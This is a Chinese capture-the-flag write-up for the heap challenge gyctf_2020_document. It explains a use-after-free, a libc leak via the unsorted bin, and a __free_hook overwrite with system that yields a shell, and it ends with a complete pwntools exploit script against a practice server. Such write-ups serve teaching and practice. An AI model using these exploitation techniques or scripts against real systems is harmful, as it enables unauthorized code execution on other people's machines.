今天来康康这道题gyctf_2020_document
静态分析确定漏洞类型
经典的堆菜单题,保护全开,2.23的libc。保护全开意味着got表劫持不了。增删改查四样动作都有,并且没有那种虚晃一枪(例如show函数直接给你puts一个too young too simple之类的)的函数。
先看add函数,malloc了两个堆块,都是固定大小,一个堆块是0x20大小,另一个是0x90大小。然后第二个堆块的指针存在了第一个堆块上面。第一个堆块后八个字节用来存了性别,性别要么1要么16,是通过判断你输入的是否为W来决定的。之后就是那个0x90的大堆块上面存一个名字,中间间隔一个flag,然后堆块偏移0x10的位置上面放上你要输入的内容。
看看delete函数,存在明显 的UAF漏洞,可以操作free的堆块。并且只free 0x90的堆块而0x20的堆块不会free。那么通过这些分析我们就可以先add两个堆块,free掉第一个之后show第一个就能泄露出libc的地址。
其它的中规中矩,唯独edit函数正常情况下它每个堆块只允许edit一次,但也只是因为那个0x20堆块的后面的那个flag原因。
泄露libc地址
这里建议,name强制8位就不要想这么多直接给/bin/sh;
就完了。
1 2 3 4
| add(b'/bin/sh;',b'W',b'a'*0x70) add(b'/bin/sh;',b'W',b'b'*0x70) free(0) show(0)
|
得到libc地址
确定攻击思路
构造堆重叠以此能修改0x20堆块上面的指针到free_hook
去覆盖free_hook
为system函数,再free一个带有/bin/sh的堆块就可以getshell,此时bin中已经有一个0x90的unsorted bin
,再次add一个因为先分配了这个0x20的堆块,unsorted bin
就会进行切割,但是edit 0发现它在0x10偏移上edit的,因此不行。不行咱就再换一个嘛,再add一次,此时的unsorted bin
会进入smallbin,但是不影响,还是从上面切割下来作为第四组的小块。然后edit第0个块把这个块的指针改成free_hook
。此时第四个堆块的指针被改成了free_hook
,那么此时再edit 3为system即可。实际测试需要考虑它在读数据之后会写在那个指针偏移0x10的地方写数据,所以前面我们edit的时候也把它改成free_hook
-0x10。最后edit 3 为system函数。由于这个输入是for() read(0,buf,1)读取的,因此0x70个字节必须写满,那边由于都是hook,我们都清空较为保险,因为万一不小心调用到了那边的hook很容易crash,那么exp根据以上思路很容易得到了。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| from pwn import *
#context.log_level='debug' context.arch='amd64' context.os='linux' def conn(x,file_name): if x: p=process(file_name) libc=ELF('./libc/libc-2.23-64.so') else: p=remote('node4.buuoj.cn',26476) libc=ELF('./libc/libc-2.23-buu64.so') return ELF(file_name),libc,p
def add(name,sex,payload):#8,1,0x70 p.sendlineafter(b'choice :',b'1') p.sendafter(b'name',name) p.sendafter(b'sex',sex,timeout=0.01) p.sendafter(b'information',payload) def edit(index,sex,payload): p.sendlineafter(b'choice :',b'3') p.sendlineafter(b'index',str(index)) if sex:p.sendlineafter(b'?',b'Y') else:p.sendlineafter(b'?','N') p.sendafter(b'information',payload)
def free(index): p.sendlineafter(b'choice :',b'4') p.sendlineafter(b'index :',str(index))
def show(index): p.sendlineafter(b'choice :',b'2') p.sendlineafter(b'index',str(index))
elf,libc,p=conn(0,'./gyctf_2020_document')
add(b'/bin/sh;',b'W',b'a'*0x70) add(b'/bin/sh;',b'W',b'b'*0x70) free(0) show(0) libc_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\0'))-88-0x10-libc.sym['__malloc_hook'] success('libc:'+hex(libc_addr)) success('free_hook'+hex(libc_addr+libc.sym['__free_hook'])) add(b'/bin/sh;',b'W',b'c'*0x70) add(b'/bin/sh;',b'W',b'd'*0x70) edit(0,0,b'd'*0x10+p64(libc_addr+libc.sym['__free_hook']-0x10)+b'd'*0x58) edit(3,0,p64(libc_addr+libc.sym['system'])+b'e'*0x68) free(2)
#gdb.attach(p) p.interactive()
|